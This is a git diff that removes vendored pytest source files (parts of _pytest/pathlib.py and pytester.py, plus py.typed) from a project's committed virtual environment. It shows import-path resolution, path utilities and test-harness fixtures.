cleanup_numbered_dir, - root, - prefix, - keep, - consider_lock_dead_if_created_before, - ) - return p - assert e is not None - raise e - - -def resolve_from_str(input: str, rootpath: Path) -> Path: - input = expanduser(input) - input = expandvars(input) - if isabs(input): - return Path(input) - else: - return rootpath.joinpath(input) - - -def fnmatch_ex(pattern: str, path: str | os.PathLike[str]) -> bool: - """A port of FNMatcher from py.path.common which works with PurePath() instances. - - The difference between this algorithm and PurePath.match() is that the - latter matches "**" glob expressions for each part of the path, while - this algorithm uses the whole path instead. - - For example: - "tests/foo/bar/doc/test_foo.py" matches pattern "tests/**/doc/test*.py" - with this algorithm, but not with PurePath.match(). - - This algorithm was ported to keep backward-compatibility with existing - settings which assume paths match according this logic. - - References: - * https://bugs.python.org/issue29249 - * https://bugs.python.org/issue34731 - """ - path = PurePath(path) - iswin32 = sys.platform.startswith("win") - - if iswin32 and sep not in pattern and posix_sep in pattern: - # Running on Windows, the pattern has no Windows path separators, - # and the pattern has one or more Posix path separators. Replace - # the Posix path separators with the Windows path separator. - pattern = pattern.replace(posix_sep, sep) - - if sep not in pattern: - name = path.name - else: - name = str(path) - if path.is_absolute() and not os.path.isabs(pattern): - pattern = f"*{os.sep}{pattern}" - return fnmatch.fnmatch(name, pattern) - - -def parts(s: str) -> set[str]: - parts = s.split(sep) - return {sep.join(parts[: i + 1]) or sep for i in range(len(parts))} - - -def symlink_or_skip( - src: os.PathLike[str] | str, - dst: os.PathLike[str] | str, - **kwargs: Any, -) -> None: - """Make a symlink, or skip the test in case symlinks are not supported.""" - try: - os.symlink(src, dst, **kwargs) - except OSError as e: - skip(f"symlinks not supported: {e}") - - -class ImportMode(Enum): - """Possible values for `mode` parameter of `import_path`.""" - - prepend = "prepend" - append = "append" - importlib = "importlib" - - -class ImportPathMismatchError(ImportError): - """Raised on import_path() if there is a mismatch of __file__'s. - - This can happen when `import_path` is called multiple times with different filenames that has - the same basename but reside in packages - (for example "/tests1/test_foo.py" and "/tests2/test_foo.py"). - """ - - -def import_path( - path: str | os.PathLike[str], - *, - mode: str | ImportMode = ImportMode.prepend, - root: Path, - consider_namespace_packages: bool, -) -> ModuleType: - """ - Import and return a module from the given path, which can be a file (a module) or - a directory (a package). - - :param path: - Path to the file to import. - - :param mode: - Controls the underlying import mechanism that will be used: - - * ImportMode.prepend: the directory containing the module (or package, taking - `__init__.py` files into account) will be put at the *start* of `sys.path` before - being imported with `importlib.import_module`. - - * ImportMode.append: same as `prepend`, but the directory will be appended - to the end of `sys.path`, if not already in `sys.path`. - - * ImportMode.importlib: uses more fine control mechanisms provided by `importlib` - to import the module, which avoids having to muck with `sys.path` at all. It effectively - allows having same-named test modules in different places. - - :param root: - Used as an anchor when mode == ImportMode.importlib to obtain - a unique name for the module being imported so it can safely be stored - into ``sys.modules``. - - :param consider_namespace_packages: - If True, consider namespace packages when resolving module names. - - :raises ImportPathMismatchError: - If after importing the given `path` and the module `__file__` - are different. Only raised in `prepend` and `append` modes. - """ - path = Path(path) - mode = ImportMode(mode) - - if not path.exists(): - raise ImportError(path) - - if mode is ImportMode.importlib: - # Try to import this module using the standard import mechanisms, but - # without touching sys.path. - try: - _, module_name = resolve_pkg_root_and_module_name( - path, consider_namespace_packages=consider_namespace_packages - ) - except CouldNotResolvePathError: - pass - else: - # If the given module name is already in sys.modules, do not import it again. - with contextlib.suppress(KeyError): - return sys.modules[module_name] - - mod = _import_module_using_spec(module_name, path, insert_modules=False) - if mod is not None: - return mod - - # Could not import the module with the current sys.path, so we fall back - # to importing the file as a single module, not being a part of a package. - module_name = module_name_from_path(path, root) - with contextlib.suppress(KeyError): - return sys.modules[module_name] - - mod = _import_module_using_spec(module_name, path, insert_modules=True) - if mod is None: - raise ImportError(f"Can't find module {module_name} at location {path}") - return mod - - try: - pkg_root, module_name = resolve_pkg_root_and_module_name( - path, consider_namespace_packages=consider_namespace_packages - ) - except CouldNotResolvePathError: - pkg_root, module_name = path.parent, path.stem - - # Change sys.path permanently: restoring it at the end of this function would cause surprising - # problems because of delayed imports: for example, a conftest.py file imported by this function - # might have local imports, which would fail at runtime if we restored sys.path. - if mode is ImportMode.append: - if str(pkg_root) not in sys.path: - sys.path.append(str(pkg_root)) - elif mode is ImportMode.prepend: - if str(pkg_root) != sys.path[0]: - sys.path.insert(0, str(pkg_root)) - else: - assert_never(mode) - - importlib.import_module(module_name) - - mod = sys.modules[module_name] - if path.name == "__init__.py": - return mod - - ignore = os.environ.get("PY_IGNORE_IMPORTMISMATCH", "") - if ignore != "1": - module_file = mod.__file__ - if module_file is None: - raise ImportPathMismatchError(module_name, module_file, path) - - if module_file.endswith((".pyc", ".pyo")): - module_file = module_file[:-1] - if module_file.endswith(os.sep + "__init__.py"): - module_file = module_file[: -(len(os.sep + "__init__.py"))] - - try: - is_same = _is_same(str(path), module_file) - except FileNotFoundError: - is_same = False - - if not is_same: - raise ImportPathMismatchError(module_name, module_file, path) - - return mod - - -def _import_module_using_spec( - module_name: str, module_path: Path, *, insert_modules: bool -) -> ModuleType | None: - """ - Tries to import a module by its canonical name, path, and its parent location. - - :param module_name: - The expected module name, will become the key of `sys.modules`. - - :param module_path: - The file path of the module, for example `/foo/bar/test_demo.py`. - If module is a package, pass the path to the `__init__.py` of the package. - If module is a namespace package, pass directory path. - - :param insert_modules: - If True, will call `insert_missing_modules` to create empty intermediate modules - with made-up module names (when importing test files not reachable from `sys.path`). - - Example 1 of parent_module_*: - - module_name: "a.b.c.demo" - module_path: Path("a/b/c/demo.py") - if "a.b.c" is package ("a/b/c/__init__.py" exists), then - parent_module_name: "a.b.c" - parent_module_path: Path("a/b/c/__init__.py") - else: - parent_module_name: "a.b.c" - parent_module_path: Path("a/b/c") - - Example 2 of parent_module_*: - - module_name: "a.b.c" - module_path: Path("a/b/c/__init__.py") - if "a.b" is package ("a/b/__init__.py" exists), then - parent_module_name: "a.b" - parent_module_path: Path("a/b/__init__.py") - else: - parent_module_name: "a.b" - parent_module_path: Path("a/b/") - """ - # Attempt to import the parent module, seems is our responsibility: - # https://github.com/python/cpython/blob/73906d5c908c1e0b73c5436faeff7d93698fc074/Lib/importlib/_bootstrap.py#L1308-L1311 - parent_module_name, _, name = module_name.rpartition(".") - parent_module: ModuleType | None = None - if parent_module_name: - parent_module = sys.modules.get(parent_module_name) - # If the parent_module lacks the `__path__` attribute, AttributeError when finding a submodule's spec, - # requiring re-import according to the path. - need_reimport = not hasattr(parent_module, "__path__") - if parent_module is None or need_reimport: - # Get parent_location based on location, get parent_path based on path. - if module_path.name == "__init__.py": - # If the current module is in a package, - # need to leave the package first and then enter the parent module. - parent_module_path = module_path.parent.parent - else: - parent_module_path = module_path.parent - - if (parent_module_path / "__init__.py").is_file(): - # If the parent module is a package, loading by __init__.py file. - parent_module_path = parent_module_path / "__init__.py" - - parent_module = _import_module_using_spec( - parent_module_name, - parent_module_path, - insert_modules=insert_modules, - ) - - # Checking with sys.meta_path first in case one of its hooks can import this module, - # such as our own assertion-rewrite hook. - find_spec_path = [str(module_path.parent)] - for meta_importer in sys.meta_path: - spec = meta_importer.find_spec(module_name, find_spec_path) - - if spec_matches_module_path(spec, module_path): - break - else: - loader = None - if module_path.is_dir(): - # The `spec_from_file_location` matches a loader based on the file extension by default. - # For a namespace package, need to manually specify a loader. - loader = NamespaceLoader(name, module_path, PathFinder()) # type: ignore[arg-type] - - spec = importlib.util.spec_from_file_location( - module_name, str(module_path), loader=loader - ) - - if spec_matches_module_path(spec, module_path): - assert spec is not None - # Find spec and import this module. - mod = importlib.util.module_from_spec(spec) - sys.modules[module_name] = mod - spec.loader.exec_module(mod) # type: ignore[union-attr] - - # Set this module as an attribute of the parent module (#12194). - if parent_module is not None: - setattr(parent_module, name, mod) - - if insert_modules: - insert_missing_modules(sys.modules, module_name) - return mod - - return None - - -def spec_matches_module_path(module_spec: ModuleSpec | None, module_path: Path) -> bool: - """Return true if the given ModuleSpec can be used to import the given module path.""" - if module_spec is None: - return False - - if module_spec.origin: - return Path(module_spec.origin) == module_path - - # Compare the path with the `module_spec.submodule_Search_Locations` in case - # the module is part of a namespace package. - # https://docs.python.org/3/library/importlib.html#importlib.machinery.ModuleSpec.submodule_search_locations - if module_spec.submodule_search_locations: # can be None. - for path in module_spec.submodule_search_locations: - if Path(path) == module_path: - return True - - return False - - -# Implement a special _is_same function on Windows which returns True if the two filenames -# compare equal, to circumvent os.path.samefile returning False for mounts in UNC (#7678). -if sys.platform.startswith("win"): - - def _is_same(f1: str, f2: str) -> bool: - return Path(f1) == Path(f2) or os.path.samefile(f1, f2) - -else: - - def _is_same(f1: str, f2: str) -> bool: - return os.path.samefile(f1, f2) - - -def module_name_from_path(path: Path, root: Path) -> str: - """ - Return a dotted module name based on the given path, anchored on root. - - For example: path="projects/src/tests/test_foo.py" and root="/projects", the - resulting module name will be "src.tests.test_foo". - """ - path = path.with_suffix("") - try: - relative_path = path.relative_to(root) - except ValueError: - # If we can't get a relative path to root, use the full path, except - # for the first part ("d:\\" or "/" depending on the platform, for example). - path_parts = path.parts[1:] - else: - # Use the parts for the relative path to the root path. - path_parts = relative_path.parts - - # Module name for packages do not contain the __init__ file, unless - # the `__init__.py` file is at the root. - if len(path_parts) >= 2 and path_parts[-1] == "__init__": - path_parts = path_parts[:-1] - - # Module names cannot contain ".", normalize them to "_". This prevents - # a directory having a "." in the name (".env.310" for example) causing extra intermediate modules. - # Also, important to replace "." at the start of paths, as those are considered relative imports. - path_parts = tuple(x.replace(".", "_") for x in path_parts) - - return ".".join(path_parts) - - -def insert_missing_modules(modules: dict[str, ModuleType], module_name: str) -> None: - """ - Used by ``import_path`` to create intermediate modules when using mode=importlib. - - When we want to import a module as "src.tests.test_foo" for example, we need - to create empty modules "src" and "src.tests" after inserting "src.tests.test_foo", - otherwise "src.tests.test_foo" is not importable by ``__import__``. - """ - module_parts = module_name.split(".") - while module_name: - parent_module_name, _, child_name = module_name.rpartition(".") - if parent_module_name: - parent_module = modules.get(parent_module_name) - if parent_module is None: - try: - # If sys.meta_path is empty, calling import_module will issue - # a warning and raise ModuleNotFoundError. To avoid the - # warning, we check sys.meta_path explicitly and raise the error - # ourselves to fall back to creating a dummy module. - if not sys.meta_path: - raise ModuleNotFoundError - parent_module = importlib.import_module(parent_module_name) - except ModuleNotFoundError: - parent_module = ModuleType( - module_name, - doc="Empty module created by pytest's importmode=importlib.", - ) - modules[parent_module_name] = parent_module - - # Add child attribute to the parent that can reference the child - # modules. - if not hasattr(parent_module, child_name): - setattr(parent_module, child_name, modules[module_name]) - - module_parts.pop(-1) - module_name = ".".join(module_parts) - - -def resolve_package_path(path: Path) -> Path | None: - """Return the Python package path by looking for the last - directory upwards which still contains an __init__.py. - - Returns None if it cannot be determined. - """ - result = None - for parent in itertools.chain((path,), path.parents): - if parent.is_dir(): - if not (parent / "__init__.py").is_file(): - break - if not parent.name.isidentifier(): - break - result = parent - return result - - -def resolve_pkg_root_and_module_name( - path: Path, *, consider_namespace_packages: bool = False -) -> tuple[Path, str]: - """ - Return the path to the directory of the root package that contains the - given Python file, and its module name: - - src/ - app/ - __init__.py - core/ - __init__.py - models.py - - Passing the full path to `models.py` will yield Path("src") and "app.core.models". - - If consider_namespace_packages is True, then we additionally check upwards in the hierarchy - for namespace packages: - - https://packaging.python.org/en/latest/guides/packaging-namespace-packages - - Raises CouldNotResolvePathError if the given path does not belong to a package (missing any __init__.py files). - """ - pkg_root: Path | None = None - pkg_path = resolve_package_path(path) - if pkg_path is not None: - pkg_root = pkg_path.parent - if consider_namespace_packages: - start = pkg_root if pkg_root is not None else path.parent - for candidate in (start, *start.parents): - module_name = compute_module_name(candidate, path) - if module_name and is_importable(module_name, path): - # Point the pkg_root to the root of the namespace package. - pkg_root = candidate - break - - if pkg_root is not None: - module_name = compute_module_name(pkg_root, path) - if module_name: - return pkg_root, module_name - - raise CouldNotResolvePathError(f"Could not resolve for {path}") - - -def is_importable(module_name: str, module_path: Path) -> bool: - """ - Return if the given module path could be imported normally by Python, akin to the user - entering the REPL and importing the corresponding module name directly, and corresponds - to the module_path specified. - - :param module_name: - Full module name that we want to check if is importable. - For example, "app.models". - - :param module_path: - Full path to the python module/package we want to check if is importable. - For example, "/projects/src/app/models.py". - """ - try: - # Note this is different from what we do in ``_import_module_using_spec``, where we explicitly search through - # sys.meta_path to be able to pass the path of the module that we want to import (``meta_importer.find_spec``). - # Using importlib.util.find_spec() is different, it gives the same results as trying to import - # the module normally in the REPL. - spec = importlib.util.find_spec(module_name) - except (ImportError, ValueError, ImportWarning): - return False - else: - return spec_matches_module_path(spec, module_path) - - -def compute_module_name(root: Path, module_path: Path) -> str | None: - """Compute a module name based on a path and a root anchor.""" - try: - path_without_suffix = module_path.with_suffix("") - except ValueError: - # Empty paths (such as Path.cwd()) might break meta_path hooks (like our own assertion rewriter). - return None - - try: - relative = path_without_suffix.relative_to(root) - except ValueError: # pragma: no cover - return None - names = list(relative.parts) - if not names: - return None - if names[-1] == "__init__": - names.pop() - return ".".join(names) - - -class CouldNotResolvePathError(Exception): - """Custom exception raised by resolve_pkg_root_and_module_name.""" - - -def scandir( - path: str | os.PathLike[str], - sort_key: Callable[[os.DirEntry[str]], object] = lambda entry: entry.name, -) -> list[os.DirEntry[str]]: - """Scan a directory recursively, in breadth-first order. - - The returned entries are sorted according to the given key. - The default is to sort by name. - If the directory does not exist, return an empty list. - """ - entries = [] - # Attempt to create a scandir iterator for the given path. - try: - scandir_iter = os.scandir(path) - except FileNotFoundError: - # If the directory does not exist, return an empty list. - return [] - # Use the scandir iterator in a context manager to ensure it is properly closed. - with scandir_iter as s: - for entry in s: - try: - entry.is_file() - except OSError as err: - if _ignore_error(err): - continue - # Reraise non-ignorable errors to avoid hiding issues. - raise - entries.append(entry) - entries.sort(key=sort_key) # type: ignore[arg-type] - return entries - - -def visit( - path: str | os.PathLike[str], recurse: Callable[[os.DirEntry[str]], bool] -) -> Iterator[os.DirEntry[str]]: - """Walk a directory recursively, in breadth-first order. - - The `recurse` predicate determines whether a directory is recursed. - - Entries at each directory level are sorted. - """ - entries = scandir(path) - yield from entries - for entry in entries: - if entry.is_dir() and recurse(entry): - yield from visit(entry.path, recurse) - - -def absolutepath(path: str | os.PathLike[str]) -> Path: - """Convert a path to an absolute path using os.path.abspath. - - Prefer this over Path.resolve() (see #6523). - Prefer this over Path.absolute() (not public, doesn't normalize). - """ - return Path(os.path.abspath(path)) - - -def commonpath(path1: Path, path2: Path) -> Path | None: - """Return the common part shared with the other path, or None if there is - no common part. - - If one path is relative and one is absolute, returns None. - """ - try: - return Path(os.path.commonpath((str(path1), str(path2)))) - except ValueError: - return None - - -def bestrelpath(directory: Path, dest: Path) -> str: - """Return a string which is a relative path from directory to dest such - that directory/bestrelpath == dest. - - The paths must be either both absolute or both relative. - - If no such path can be determined, returns dest. - """ - assert isinstance(directory, Path) - assert isinstance(dest, Path) - if dest == directory: - return os.curdir - # Find the longest common directory. - base = commonpath(directory, dest) - # Can be the case on Windows for two absolute paths on different drives. - # Can be the case for two relative paths without common prefix. - # Can be the case for a relative path and an absolute path. - if not base: - return str(dest) - reldirectory = directory.relative_to(base) - reldest = dest.relative_to(base) - return os.path.join( - # Back from directory to base. - *([os.pardir] * len(reldirectory.parts)), - # Forward from base to dest. - *reldest.parts, - ) - - -def safe_exists(p: Path) -> bool: - """Like Path.exists(), but account for input arguments that might be too long (#11394).""" - try: - return p.exists() - except (ValueError, OSError): - # ValueError: stat: path too long for Windows - # OSError: [WinError 123] The filename, directory name, or volume label syntax is incorrect - return False - - -def samefile_nofollow(p1: Path, p2: Path) -> bool: - """Test whether two paths reference the same actual file or directory. - - Unlike Path.samefile(), does not resolve symlinks. - """ - return os.path.samestat(p1.lstat(), p2.lstat()) diff --git a/venv/Lib/site-packages/_pytest/py.typed b/venv/Lib/site-packages/_pytest/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/_pytest/pytester.py b/venv/Lib/site-packages/_pytest/pytester.py deleted file mode 100644 index b69b58732efd16c5014377e403a2166df3b4789a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/pytester.py +++ /dev/null @@ -1,1803 +0,0 @@ -# mypy: allow-untyped-defs -"""(Disabled by default) support for testing pytest and pytest plugins. - -PYTEST_DONT_REWRITE -""" - -from __future__ import annotations - -import collections.abc -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Mapping -from collections.abc import Sequence -import contextlib -from fnmatch import fnmatch -import gc -import importlib -from io import StringIO -import locale -import os -from pathlib import Path -import platform -import re -import shutil -import subprocess -import sys -import traceback -from typing import Any -from typing import Final -from typing import final -from typing import IO -from typing import Literal -from typing import overload -from typing import TextIO -from typing import TYPE_CHECKING -from weakref import WeakKeyDictionary - -from iniconfig import IniConfig -from iniconfig import SectionWrapper - -from _pytest import timing -from _pytest._code import Source -from _pytest.capture import _get_multicapture -from _pytest.compat import NOTSET -from _pytest.compat import NotSetType -from _pytest.config import _PluggyPlugin -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config import main -from _pytest.config import PytestPluginManager -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import fail -from _pytest.outcomes import importorskip -from _pytest.outcomes import skip -from _pytest.pathlib import bestrelpath -from _pytest.pathlib import make_numbered_dir -from _pytest.reports import CollectReport -from _pytest.reports import TestReport -from _pytest.tmpdir import TempPathFactory -from _pytest.warning_types import PytestFDWarning - - -if TYPE_CHECKING: - import pexpect - - -pytest_plugins = ["pytester_assertions"] - - -IGNORE_PAM = [ # filenames added when obtaining details about the current user - "/var/lib/sss/mc/passwd" -] - - -def pytest_addoption(parser: Parser) -> None: - parser.addoption( - "--lsof", - action="store_true", - dest="lsof", - default=False, - help="Run FD checks if lsof is available", - ) - - parser.addoption( - "--runpytest", - default="inprocess", - dest="runpytest", - choices=("inprocess", "subprocess"), - help=( - "Run pytest sub runs in tests using an 'inprocess' " - "or 'subprocess' (python -m main) method" - ), - ) - - parser.addini( - "pytester_example_dir", help="Directory to take the pytester example files from" - ) - - -def pytest_configure(config: Config) -> None: - if config.getvalue("lsof"): - checker = LsofFdLeakChecker() - if checker.matching_platform(): - config.pluginmanager.register(checker) - - config.addinivalue_line( - "markers", - "pytester_example_path(*path_segments): join the given path " - "segments to `pytester_example_dir` for this test.", - ) - - -class LsofFdLeakChecker: - def get_open_files(self) -> list[tuple[str, str]]: - if sys.version_info >= (3, 11): - # New in Python 3.11, ignores utf-8 mode - encoding = locale.getencoding() - else: - encoding = locale.getpreferredencoding(False) - out = subprocess.run( - ("lsof", "-Ffn0", "-p", str(os.getpid())), - stdout=subprocess.PIPE, - stderr=subprocess.DEVNULL, - check=True, - text=True, - encoding=encoding, - ).stdout - - def isopen(line: str) -> bool: - return line.startswith("f") and ( - "deleted" not in line - and "mem" not in line - and "txt" not in line - and "cwd" not in line - ) - - open_files = [] - - for line in out.split("\n"): - if isopen(line): - fields = line.split("\0") - fd = fields[0][1:] - filename = fields[1][1:] - if filename in IGNORE_PAM: - continue - if filename.startswith("/"): - open_files.append((fd, filename)) - - return open_files - - def matching_platform(self) -> bool: - try: - subprocess.run(("lsof", "-v"), check=True) - except (OSError, subprocess.CalledProcessError): - return False - else: - return True - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_runtest_protocol(self, item: Item) -> Generator[None, object, object]: - lines1 = self.get_open_files() - try: - return (yield) - finally: - if hasattr(sys, "pypy_version_info"): - gc.collect() - lines2 = self.get_open_files() - - new_fds = {t[0] for t in lines2} - {t[0] for t in lines1} - leaked_files = [t for t in lines2 if t[0] in new_fds] - if leaked_files: - error = [ - f"***** {len(leaked_files)} FD leakage detected", - *(str(f) for f in leaked_files), - "*** Before:", - *(str(f) for f in lines1), - "*** After:", - *(str(f) for f in lines2), - f"***** {len(leaked_files)} FD leakage detected", - "*** function {}:{}: {} ".format(*item.location), - "See issue #2366", - ] - item.warn(PytestFDWarning("\n".join(error))) - - -# used at least by pytest-xdist plugin - - -@fixture -def _pytest(request: FixtureRequest) -> PytestArg: - """Return a helper which offers a gethookrecorder(hook) method which - returns a HookRecorder instance which helps to make assertions about called - hooks.""" - return PytestArg(request) - - -class PytestArg: - def __init__(self, request: FixtureRequest) -> None: - self._request = request - - def gethookrecorder(self, hook) -> HookRecorder: - hookrecorder = HookRecorder(hook._pm) - self._request.addfinalizer(hookrecorder.finish_recording) - return hookrecorder - - -def get_public_names(values: Iterable[str]) -> list[str]: - """Only return names from iterator values without a leading underscore.""" - return [x for x in values if x[0] != "_"] - - -@final -class RecordedHookCall: - """A recorded call to a hook. - - The arguments to the hook call are set as attributes. - For example: - - .. code-block:: python - - calls = hook_recorder.getcalls("pytest_runtest_setup") - # Suppose pytest_runtest_setup was called once with `item=an_item`. - assert calls[0].item is an_item - """ - - def __init__(self, name: str, kwargs) -> None: - self.__dict__.update(kwargs) - self._name = name - - def __repr__(self) -> str: - d = self.__dict__.copy() - del d["_name"] - return f"" - - if TYPE_CHECKING: - # The class has undetermined attributes, this tells mypy about it. - def __getattr__(self, key: str): ... - - -@final -class HookRecorder: - """Record all hooks called in a plugin manager. - - Hook recorders are created by :class:`Pytester`. - - This wraps all the hook calls in the plugin manager, recording each call - before propagating the normal calls. - """ - - def __init__( - self, pluginmanager: PytestPluginManager, *, _ispytest: bool = False - ) -> None: - check_ispytest(_ispytest) - - self._pluginmanager = pluginmanager - self.calls: list[RecordedHookCall] = [] - self.ret: int | ExitCode | None = None - - def before(hook_name: str, hook_impls, kwargs) -> None: - self.calls.append(RecordedHookCall(hook_name, kwargs)) - - def after(outcome, hook_name: str, hook_impls, kwargs) -> None: - pass - - self._undo_wrapping = pluginmanager.add_hookcall_monitoring(before, after) - - def finish_recording(self) -> None: - self._undo_wrapping() - - def getcalls(self, names: str | Iterable[str]) -> list[RecordedHookCall]: - """Get all recorded calls to hooks with the given names (or name).""" - if isinstance(names, str): - names = names.split() - return [call for call in self.calls if call._name in names] - - def assert_contains(self, entries: Sequence[tuple[str, str]]) -> None: - __tracebackhide__ = True - i = 0 - entries = list(entries) - # Since Python 3.13, f_locals is not a dict, but eval requires a dict. - backlocals = dict(sys._getframe(1).f_locals) - while entries: - name, check = entries.pop(0) - for ind, call in enumerate(self.calls[i:]): - if call._name == name: - print("NAMEMATCH", name, call) - if eval(check, backlocals, call.__dict__): - print("CHECKERMATCH", repr(check), "->", call) - else: - print("NOCHECKERMATCH", repr(check), "-", call) - continue - i += ind + 1 - break - print("NONAMEMATCH", name, "with", call) - else: - fail(f"could not find {name!r} check {check!r}") - - def popcall(self, name: str) -> RecordedHookCall: - __tracebackhide__ = True - for i, call in enumerate(self.calls): - if call._name == name: - del self.calls[i] - return call - lines = [f"could not find call {name!r}, in:"] - lines.extend([f" {x}" for x in self.calls]) - fail("\n".join(lines)) - - def getcall(self, name: str) -> RecordedHookCall: - values = self.getcalls(name) - assert len(values) == 1, (name, values) - return values[0] - - # functionality for test reports - - @overload - def getreports( - self, - names: Literal["pytest_collectreport"], - ) -> Sequence[CollectReport]: ... - - @overload - def getreports( - self, - names: Literal["pytest_runtest_logreport"], - ) -> Sequence[TestReport]: ... - - @overload - def getreports( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: ... - - def getreports( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: - return [x.report for x in self.getcalls(names)] - - def matchreport( - self, - inamepart: str = "", - names: str | Iterable[str] = ( - "pytest_runtest_logreport", - "pytest_collectreport", - ), - when: str | None = None, - ) -> CollectReport | TestReport: - """Return a testreport whose dotted import path matches.""" - values = [] - for rep in self.getreports(names=names): - if not when and rep.when != "call" and rep.passed: - # setup/teardown passing reports - let's ignore those - continue - if when and rep.when != when: - continue - if not inamepart or inamepart in rep.nodeid.split("::"): - values.append(rep) - if not values: - raise ValueError( - f"could not find test report matching {inamepart!r}: " - "no test reports at all!" - ) - if len(values) > 1: - raise ValueError( - f"found 2 or more testreports matching {inamepart!r}: {values}" - ) - return values[0] - - @overload - def getfailures( - self, - names: Literal["pytest_collectreport"], - ) -> Sequence[CollectReport]: ... - - @overload - def getfailures( - self, - names: Literal["pytest_runtest_logreport"], - ) -> Sequence[TestReport]: ... - - @overload - def getfailures( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: ... - - def getfailures( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: - return [rep for rep in self.getreports(names) if rep.failed] - - def getfailedcollections(self) -> Sequence[CollectReport]: - return self.getfailures("pytest_collectreport") - - def listoutcomes( - self, - ) -> tuple[ - Sequence[TestReport], - Sequence[CollectReport | TestReport], - Sequence[CollectReport | TestReport], - ]: - passed = [] - skipped = [] - failed = [] - for rep in self.getreports( - ("pytest_collectreport", "pytest_runtest_logreport") - ): - if rep.passed: - if rep.when == "call": - assert isinstance(rep, TestReport) - passed.append(rep) - elif rep.skipped: - skipped.append(rep) - else: - assert rep.failed, f"Unexpected outcome: {rep!r}" - failed.append(rep) - return passed, skipped, failed - - def countoutcomes(self) -> list[int]: - return [len(x) for x in self.listoutcomes()] - - def assertoutcome(self, passed: int = 0, skipped: int = 0, failed: int = 0) -> None: - __tracebackhide__ = True - from _pytest.pytester_assertions import assertoutcome - - outcomes = self.listoutcomes() - assertoutcome( - outcomes, - passed=passed, - skipped=skipped, - failed=failed, - ) - - def clear(self) -> None: - self.calls[:] = [] - - -@fixture -def linecomp() -> LineComp: - """A :class: `LineComp` instance for checking that an input linearly - contains a sequence of strings.""" - return LineComp() - - -@fixture(name="LineMatcher") -def LineMatcher_fixture(request: FixtureRequest) -> type[LineMatcher]: - """A reference to the :class: `LineMatcher`. - - This is instantiable with a list of lines (without their trailing newlines). - This is useful for testing large texts, such as the output of commands. - """ - return LineMatcher - - -@fixture -def pytester( - request: FixtureRequest, tmp_path_factory: TempPathFactory, monkeypatch: MonkeyPatch -) -> Pytester: - """ - Facilities to write tests/configuration files, execute pytest in isolation, and match - against expected output, perfect for black-box testing of pytest plugins. - - It attempts to isolate the test run from external factors as much as possible, modifying - the current working directory to ``path`` and environment variables during initialization. - - It is particularly useful for testing plugins. It is similar to the :fixture:`tmp_path` - fixture but provides methods which aid in testing pytest itself. - """ - return Pytester(request, tmp_path_factory, monkeypatch, _ispytest=True) - - -@fixture -def _sys_snapshot() -> Generator[None]: - snappaths = SysPathsSnapshot() - snapmods = SysModulesSnapshot() - yield - snapmods.restore() - snappaths.restore() - - -@fixture -def _config_for_test() -> Generator[Config]: - from _pytest.config import get_config - - config = get_config() - yield config - config._ensure_unconfigure() # cleanup, e.g. capman closing tmpfiles. - - -# Regex to match the session duration string in the summary: "74.34s". -rex_session_duration = re.compile(r"\d+\.\d\ds") -# Regex to match all the counts and phrases in the summary line: "34 passed, 111 skipped". -rex_outcome = re.compile(r"(\d+) (\w+)") - - -@final -class RunResult: - """The result of running a command from :class:`~pytest.Pytester`.""" - - def __init__( - self, - ret: int | ExitCode, - outlines: list[str], - errlines: list[str], - duration: float, - ) -> None: - try: - self.ret: int | ExitCode = ExitCode(ret) - """The return value.""" - except ValueError: - self.ret = ret - self.outlines = outlines - """List of lines captured from stdout.""" - self.errlines = errlines - """List of lines captured from stderr.""" - self.stdout = LineMatcher(outlines) - """:class:`~pytest.LineMatcher` of stdout. - - Use e.g. :func:`str(stdout) ` to reconstruct stdout, or the commonly used - :func:`stdout.fnmatch_lines() ` method. - """ - self.stderr = LineMatcher(errlines) - """:class:`~pytest.LineMatcher` of stderr.""" - self.duration = duration - """Duration in seconds.""" - - def __repr__(self) -> str: - return ( - f"" - ) - - def parseoutcomes(self) -> dict[str, int]: - """Return a dictionary of outcome noun -> count from parsing the terminal - output that the test process produced. - - The returned nouns will always be in plural form:: - - ======= 1 failed, 1 passed, 1 warning, 1 error in 0.13s ==== - - Will return ``{"failed": 1, "passed": 1, "warnings": 1, "errors": 1}``. - """ - return self.parse_summary_nouns(self.outlines) - - @classmethod - def parse_summary_nouns(cls, lines) -> dict[str, int]: - """Extract the nouns from a pytest terminal summary line. - - It always returns the plural noun for consistency:: - - ======= 1 failed, 1 passed, 1 warning, 1 error in 0.13s ==== - - Will return ``{"failed": 1, "passed": 1, "warnings": 1, "errors": 1}``. - """ - for line in reversed(lines): - if rex_session_duration.search(line): - outcomes = rex_outcome.findall(line) - ret = {noun: int(count) for (count, noun) in outcomes} - break - else: - raise ValueError("Pytest terminal summary report not found") - - to_plural = { - "warning": "warnings", - "error": "errors", - } - return {to_plural.get(k, k): v for k, v in ret.items()} - - def assert_outcomes( - self, - passed: int = 0, - skipped: int = 0, - failed: int = 0, - errors: int = 0, - xpassed: int = 0, - xfailed: int = 0, - warnings: int | None = None, - deselected: int | None = None, - ) -> None: - """ - Assert that the specified outcomes appear with the respective - numbers (0 means it didn't occur) in the text output from a test run. - - ``warnings`` and ``deselected`` are only checked if not None. - """ - __tracebackhide__ = True - from _pytest.pytester_assertions import assert_outcomes - - outcomes = self.parseoutcomes() - assert_outcomes( - outcomes, - passed=passed, - skipped=skipped, - failed=failed, - errors=errors, - xpassed=xpassed, - xfailed=xfailed, - warnings=warnings, - deselected=deselected, - ) - - 